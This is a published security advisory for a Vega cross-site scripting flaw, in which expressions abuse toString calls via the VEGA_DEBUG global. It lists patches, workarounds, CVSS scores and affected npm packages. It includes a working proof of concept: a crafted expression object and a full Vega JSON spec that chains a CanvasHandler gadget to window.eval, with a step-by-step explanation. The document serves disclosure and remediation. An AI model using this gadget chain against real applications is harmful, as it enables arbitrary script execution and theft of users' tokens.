Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable

Description

Impact

Applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.

  1. Use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window
  2. Allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code)

Patches

  • If using latest Vega line (6.x)
  • vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode)
  • If using Vega in a non-ESM environment
  • ( vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode)

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading

  • Do not attach vega View instances to global variables, as Vega editor used to do here
  • Do not attach vega to the global window as the editor used to do here

These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

POC Summary

Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that overrides its toString method with a function that results in calling this.foo(this.bar), DOM XSS can be achieved.

In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.

({
    toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, 
    eventName: event.view.console.log,
    _handlers: {
        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
    },
    _handlerIndex: event.view.eval
})+1

POC Details

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"
        }

      ]
    }
  ]
}

This payload creates a scenario where whenever the mouse is moved, the toString function of the provided object is implicitly called when trying to resolve adding it with 1. The toString function has been overridden to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:

   on(a, o) {
        const u = this.eventName(a)
          , d = this._handlers;
        if (this._handlerIndex(d[u], a, o) < 0) {
        ....
        }
        ....
   }
  1. Set u to the result of calling this.eventName with undefined
    • For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
  2. Sets d to this._handlers
    • For our object, we have this defined to be used later
  3. Calls this._handlerIndex with the result of u indexed into the d object as the first argument, and undefined as the second two.
    • For our object, _handlerIndex is set to window.eval, and when indexing undefined into the _handlers, a string to be evald containing the XSS payload is returned.

This results in XSS by using a globally scoped gadget to get full blown eval.

PoC Link

Navigate to vega editor, move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved.

Future investigation

In cases where VEGA_DEBUG is not enabled, there theoreticallycould be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to eval, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. $.globalEval). As of this writing, no such globally scoped gadgets have been found.

Impact

This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger.

An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2025-11-13 22:32:35 UTC
Updated
2025-11-14 16:05:42 UTC
GitHub reviewed
2025-11-13 22:32:35 UTC
NVD published
2025-11-13 20:15:51 UTC

EPSS Score

Score Percentile
0.03% 8.06%

CVSS Scores

Base score Version Severity Vector
8.1 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Credits

  • nickcopi (reporter)
  • hydrosquall (remediation_developer)
  • domoritz (remediation_reviewer)
  • jeramysoucy (remediation_verifier)
  • lsh (remediation_reviewer)
  • kachkaev (analyst)

Affected packages (5)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
npm vega-expression >= 6.0.0, < 6.1.0 6.1.0
npm vega-interpreter >= 2.0.0, < 2.2.1 2.2.1
npm vega-interpreter < 1.2.1 1.2.1
npm vega-expression < 5.2.1 5.2.1
npm vega < 6.2.0 6.2.0

References

cvelogic Threat Intelligence